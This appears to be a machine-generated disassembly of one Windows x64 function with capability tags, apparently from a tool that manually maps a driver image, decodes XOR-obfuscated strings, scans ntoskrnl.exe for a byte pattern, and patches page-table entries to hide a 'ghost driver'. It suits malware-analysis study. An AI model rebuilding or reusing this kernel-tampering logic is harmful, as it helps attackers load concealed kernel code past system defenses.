Function at 0x140011ca0
Capabilities:
Encode data using xor
Load ntoskrnl
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
mov rax, qword [0x140353c70]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov r15, rdx
mov rsi, rcx
xor r14d, r14d
mov eax, 0x5a4d
cmp word [rdx], ax
je 0x140011cf1
mov r13d, r14d
jmp 0x140011d04
movsxd r13, dword [rdx + 0x3c]
add r13, r15
cmp dword [r13], 0x4550
cmovne r13, r14
mov qword [rbp - 0x40], r13
mov ebx, dword [r13 + 0x50]
mov qword [rbp - 0x50], rbx
mov r9d, 4
mov r8d, 0x3000
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x140011d3c
lea eax, [r12 + 5]
jmp 0x140012ab5
mov qword [rbp + 0x28], r12
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x140011d69
lea edi, [rax + 6]
jmp 0x140012aa2
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [str.WAXFhLWKZK_]
movups xmmword [rbp - 0x38], xmm0
movzx eax, byte [0x140301f98]
mov byte [rbp - 0x28], al
mov r8d, r14d
mov eax, 5
lea edx, [rax + 0x1a]
cmp dword [0x140353c80], 2
jl 0x140011edf
movdqa xmm5, xmmword [0x140304160]
movdqa xmm4, xmmword [0x1403042d0]
movd xmm6, eax
movdqa xmm7, xmmword [0x1403041e0]
movd xmm8, edx
movdqa xmm0, xmmword [0x140304240]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x34]
mov edx, dword [rbp - 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140304200]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140304200]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140011dd0
cmp r8d, 0x11
jge 0x140011f23
movsxd rax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140011ef0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp - 0x38]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140011f42
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x58]
call fcn.140002ef0
nop
lea rcx, [rsp + 0x58]
call fcn.140015bc0
mov rdi, rax
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140011fad
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011fa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011fa8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140247544
movdqa xmm0, xmmword [0x140304150]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
test rdi, rdi
jne 0x140011fcf
mov edi, 7
jmp 0x140012a8b
mov r9, rbx
mov r8, rdi
mov rdi, qword [rsp + 0x78]
mov rdx, rdi
mov rcx, rsi
call fcn.14000c9b0
test al, al
jne 0x140011ff3
mov edi, 8
jmp 0x140012a8b
mov ecx, 0x5a4d
cmp word [rdi], cx
je 0x140012003
xor ecx, ecx
mov eax, ecx
jmp 0x140012019
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
cmp dword [rax], 0x4550
mov ecx, 0
cmovne rax, rcx
cmp dword [rax + 0x50], ebx
jae 0x140012028
mov edi, 9
jmp 0x140012a8b
mov r8d, dword [r13 + 0x54]
mov rdx, r15
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r13 + 0x14]
add rbx, 0x24
xor edx, edx
mov edi, edx
cmp dx, word [r13 + 6]
jae 0x14001207e
add rbx, r13
nop
test dword [rbx + 0x18], 0x80
ja 0x14001206d
mov ecx, dword [rbx]
add rcx, r12
mov r8d, dword [rbx + 4]
mov edx, dword [rbx + 8]
add rdx, r15
call sub.VCRUNTIME140.dll_memcpy
inc edi
add rbx, 0x28
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x140012050
xor edx, edx
mov rdi, qword [rsp + 0x38]
sub rdi, qword [r13 + 0x30]
mov eax, 0x5a4d
lea r15, [r12 + 0x3c]
cmp word [r12], ax
jne 0x1400120a5
movsxd rax, dword [r15]
cmp dword [rax + r12], 0x4550
je 0x1400120c2
xorps xmm1, xmm1
mov r11, rdx
xorps xmm0, xmm0
psrldq xmm0, 8
movq r10, xmm0
movq rbx, xmm1
jmp 0x140012186
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov r11, rdx
mov qword [rbp - 0x28], rdx
mov ecx, dword [rax + r12 + 0xb0]
test ecx, ecx
jne 0x1400120f4
psrldq xmm0, 8
movq r10, xmm0
movq rbx, xmm1
jmp 0x140012186
lea rbx, [r12 + rcx]
mov r15d, dword [rax + r12 + 0xb4]
add r15, rbx
mov r10, qword [rbp - 0x30]
cmp rbx, r15
jae 0x14001217d
nop dword [rax]
mov ecx, dword [rbx + 4]
test ecx, ecx
je 0x14001217b
mov eax, dword [rbx]
add rax, r12
mov qword [rbp - 0x70], rax
lea rax, [rbx + 8]
mov qword [rbp - 0x68], rax
lea rax, [rcx - 8]
shr rax, 1
mov dword [rbp - 0x60], eax
cmp r10, r11
je 0x140012158
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [r10], xmm0
movsd xmm1, qword [rbp - 0x60]
movsd qword [r10 + 0x10], xmm1
mov r10, qword [rbp - 0x30]
add r10, 0x18
mov qword [rbp - 0x30], r10
jmp 0x14001216c
lea r8, [rbp - 0x70]
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.140013da0
mov r10, qword [rbp - 0x30]
mov eax, dword [rbx + 4]
add rbx, rax
mov r11, qword [rbp - 0x28]
cmp rbx, r15
jb 0x140012110
xor edx, edx
mov rbx, qword [rbp - 0x38]
lea r15, [r12 + 0x3c]
mov rax, r15
cmp rbx, r10
je 0x1400121f7
lea r9, [rbx + 0x10]
mov r13d, 0xfff
nop dword [rax + rax]
mov r8d, edx
cmp dword [r9], 0
jbe 0x1400121e1
nop dword [rax]
mov ecx, r8d
mov rax, qword [r9 - 8]
movzx edx, word [rax + rcx*2]
movzx eax, dx
shr ax, 0xc
and dx, r13w
cmp ax, 0xa
jne 0x1400121d7
movzx ecx, dx
mov rax, qword [r9 - 0x10]
add qword [rax + rcx], rdi
inc r8d
cmp r8d, dword [r9]
jb 0x1400121b0
xor edx, edx
add r9, 0x18
lea rax, [r9 - 0x10]
cmp rax, r10
jne 0x1400121a0
lea rax, [r12 + 0x3c]
mov r13, qword [rbp - 0x40]
test rbx, rbx
je 0x140012252
sub r11, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul r11
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x140012247
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a63
mov rcx, rbx
call fcn.140247544
mov rax, r15
mov ecx, 0x5a4d
cmp word [r12], cx
jne 0x140012a86
movsxd rax, dword [rax]
cmp dword [rax + r12], 0x4550
jne 0x140012a86
mov ecx, dword [rax + r12 + 0xd8]
test ecx, ecx
je 0x1400122db
mov rdi, qword [rcx + r12 + 0x58]
test rdi, rdi
je 0x1400122db
mov rax, r12
sub rax, qword [rsp + 0x38]
add rdi, rax
movabs rax, 0x2b992ddfa232
cmp qword [rdi], rax
jne 0x140012a86
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
xor rax, rbx
movabs rdx, 0x2b992ddfa232
xor rax, rdx
movabs rcx, 0x2b992ddfa233
cmp rax, rdx
cmove rax, rcx
mov qword [rdi], rax
mov rdx, r12
lea rcx, [rbp - 0x38]
call fcn.1400136b0
mov rdx, rax
mov rcx, rsi
call fcn.140011b10
test al, al
jne 0x140012300
mov edi, reloc.WS2_32.dll_inet_addr
jmp 0x140012a8b
movsd xmm0, qword [str.__ZEJWV]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140301fa8]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140301fac]
mov byte [rbp - 0x64], al
xor ecx, ecx
mov r8d, ecx
lea edi, [rcx + 8]
cmp dword [0x140353c80], 2
jl 0x14001244b
movdqa xmm4, xmmword [0x1403042d0]
mov eax, 5
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x140304160]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403041e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140304200]
packuswb xmm2, xmm2
mov eax, dword [0x140304240]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.__ZEJWV]
pxor xmm2, xmm1
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140304170]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403041e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140304200]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
pxor xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, edi
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140012460
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp - 0x70]
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x1400124b0
mov r8, r14
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x58]
call fcn.140002ef0
nop
lea rcx, [rsp + 0x58]
call fcn.140015bc0
mov rbx, rax
mov qword [rbp - 0x70], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14001251d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012518
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012518
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140247544
test rbx, rbx
jne 0x14001252a
lea edi, [rbx + 0xc]
jmp 0x140012a8b
xor r14d, r14d
mov ebx, r14d
mov dword [rsp + 0x40], 0x9e9c148
mov dword [rsp + 0x44], 0xfff8b848
mov dword [rsp + 0x48], 0x7fffff
mov dword [rsp + 0x4c], 0x23480000
mov word [rsp + 0x50], 0x48c8
mov byte [rsp + 0x52], 0xb8
xor edx, edx
lea r8d, [r14 + 1]
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov r15, rax
mov byte [rsp + 0x30], bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9d, [r14 + 0x18]
lea r8, [rbp - 0x38]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r12d, r14d
mov r11d, r14d
cmp dword [rbp - 0x30], r14d
jbe 0x140012a7f
xor al, al
test al, al
jne 0x140012610
mov ecx, r14d
mov r14d, r11d
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x40]
mov r10, r15
sub r10, r8
add r10, r14
nop
mov r9d, ebx
mov r8d, ebx
movzx eax, byte [r10 + rdx]
cmp byte [rdx], al
jne 0x1400125f4
cmp ecx, 0x12
jne 0x1400125df
inc ebx
cmp ebx, 1
jg 0x1400126a5
lea ebx, [r8 + 1]
cmp ecx, 0x12
cmovne ebx, r9d
inc ecx
inc rdx
cmp ecx, 0x13
jb 0x1400125c0
movzx eax, byte [rsp + 0x30]
inc r11d
cmp r11d, dword [rbp - 0x30]
mov r14d, 0
jb 0x1400125a2
test al, al
je 0x140012a7f
sub r12, r15
add r12, qword [rbp - 0x70]
je 0x140012a7f
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov qword [rbp + 0x20], r14
mov rax, qword [rsp + 0x38]
mov rbx, rax
mov r15, qword [rbp - 0x50]
add r15, rax
cmp rax, r15
jae 0x140012709
mov qword [rbp - 0x70], r14
mov r9, rdi
mov r8, r12
lea rdx, [rbp - 0x70]
mov rcx, rsi
call fcn.14000c9b0
test al, al
je 0x140012673
mov r14, rbx
shr r14, 9
movabs rax, 0x7ffffffff8
and r14, rax
add r14, qword [rbp - 0x70]
mov r9, rdi
mov r8, r14
lea rdx, [rbp - 0x48]
mov rcx, rsi
call fcn.14000c9b0
test al, al
je 0x140012739
mov rdx, qword [rbp + 0x18]
cmp rdx, qword [rbp + 0x20]
je 0x1400126b7
mov rax, qword [rbp - 0x48]
mov qword [rdx], rax
add qword [rbp + 0x18], 8
jmp 0x1400126c4
mov al, 1
mov byte [rsp + 0x30], al
lea r12, [r15 + 0x13]
add r12, r14
jmp 0x1400125f9
lea r8, [rbp - 0x48]
lea rcx, [rbp + 0x10]
call fcn.140013330
mov rax, qword [rbp - 0x48]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp - 0x48], rax
mov r9, rdi
lea r8, [rbp - 0x48]
mov rdx, r14
mov rcx, rsi
call fcn.14000c9b0
test al, al
je 0x14001272f
add rbx, 0x1000
cmp rbx, r15
mov r14d, 0
jb 0x140012641
mov r9, qword [rbp - 0x50]
mov r8, qword [rbp - 0x80]
mov r15, qword [rsp + 0x38]
mov rdx, r15
mov rcx, rsi
call fcn.14000c9b0
test al, al
jne 0x140012743
mov edi, reloc.WS2_32.dll_recv
jmp 0x140012a26
mov edi, reloc.WS2_32.dll_ntohs
jmp 0x140012a26
mov edi, recv
jmp 0x140012a26
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov qword [rbp + 8], r14
movdqu xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x10], r14
movzx eax, word [r13 + 0x14]
add rax, 0x24
mov ecx, r14d
mov dword [rbp - 0x48], ecx
cmp r14w, word [r13 + 6]
jae 0x14001286d
add r13, rax
mov qword [rbp - 0x70], r13
nop dword [rax]
mov r14d, dword [r13 + 0x18]
test r14d, 0x80
ja 0x14001284c
mov ebx, dword [r13]
add rbx, r15
mov r15d, dword [r13 + 4]
add r15, rbx
and r14d, 0x20000000
cmp rbx, r15
jae 0x140012847
xor r13d, r13d
mov qword [rbp - 0x50], r13
mov r9, rdi
mov r8, r12
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.14000c9b0
test al, al
jne 0x1400127d1
mov rax, r13
jmp 0x1400127ec
mov rcx, rbx
shr rcx, 9
movabs rax, 0x7ffffffff8
and rcx, rax
mov rax, qword [rbp - 0x50]
add rax, rcx
mov qword [rbp - 0x50], rax
test r14d, r14d
je 0x14001280f
mov rdx, qword [rbp]
cmp rdx, qword [rbp + 8]
je 0x140012809
mov qword [rdx], rax
add qword [rbp], 8
jmp 0x140012830
lea rcx, [rbp - 8]
jmp 0x140012827
mov rdx, qword [rbp - 0x18]
cmp rdx, qword [rbp - 0x10]
je 0x140012823
mov qword [rdx], rax
add qword [rbp - 0x18], 8
jmp 0x140012830
lea rcx, [rbp - 0x20]
lea r8, [rbp - 0x50]
call fcn.140013330
add rbx, 0x1000
cmp rbx, r15
jb 0x1400127b2
mov r13, qword [rbp - 0x70]
mov ecx, dword [rbp - 0x48]
mov r15, qword [rsp + 0x38]
inc ecx
mov dword [rbp - 0x48], ecx
add r13, 0x28
mov qword [rbp - 0x70], r13
mov rax, qword [rbp - 0x40]
movzx eax, word [rax + 6]
cmp ecx, eax
jl 0x140012780
mov r13, qword [rbp - 0x40]
mov rbx, qword [rbp - 8]
mov r15, qword [rbp]
cmp rbx, r15
je 0x1400128c5
nop word [rax + rax]
mov r14, qword [rbx]
mov r9, rdi
mov r8, r14
lea rdx, [rbp - 0x40]
mov rcx, rsi
call fcn.14000c9b0
test al, al
je 0x140012994
and qword [rbp - 0x40], 0xfffffffffffffffd
mov r9, rdi
lea r8, [rbp - 0x40]
mov rdx, r14
mov rcx, rsi
call fcn.14000c9b0
test al, al
je 0x14001298b
add rbx, 8
cmp rbx, r15
jne 0x140012880
mov rbx, qword [rbp - 0x20]
mov r15, qword [rbp - 0x18]
cmp rbx, r15
je 0x140012920
movabs r12, 0x8000000000000000
nop dword [rax]
mov r14, qword [rbx]
mov r9, rdi
mov r8, r14
lea rdx, [rbp - 0x48]
mov rcx, rsi
call fcn.14000c9b0
test al, al
je 0x140012994
or qword [rbp - 0x48], r12
mov r9, rdi
lea r8, [rbp - 0x48]
mov rdx, r14
mov rcx, rsi
call fcn.14000c9b0
test al, al
je 0x14001298b
add rbx, 8
cmp rbx, r15
jne 0x1400128e0
mov r8d, dword [r13 + 0x28]
add r8, qword [rsp + 0x38]
xor ebx, ebx
mov dword [rbp - 0x48], ebx
lea rdx, [rbp - 0x48]
mov rcx, rsi
call fcn.140012ed0
test al, al
lea edi, [rbx + 0x12]
je 0x140012943
mov edi, ebx
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1400129d1
mov rax, qword [rbp - 0x10]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400129c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400129c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.____failed_to_patch_ghost_driver_pte
jmp 0x14001299b
lea rdx, str.____failed_to_read_ghost_driver_pte
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140014470
lea rdx, [0x140014640]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edi, send
xor ebx, ebx
jmp 0x140012943
call fcn.140247544
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rbx
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x140012a26
mov rax, qword [rbp + 8]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012a15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012a15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140247544
xorps xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rbx
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140012a8b
mov rax, qword [rbp + 0x20]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012a6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140247544
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
xor ecx, ecx
mov qword [rbp + 0x20], rcx
jmp 0x140012a8b
mov edi, recv
jmp 0x140012a8b
mov edi, 0xa
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r12, qword [rbp - 0x80]
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.1402474e0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret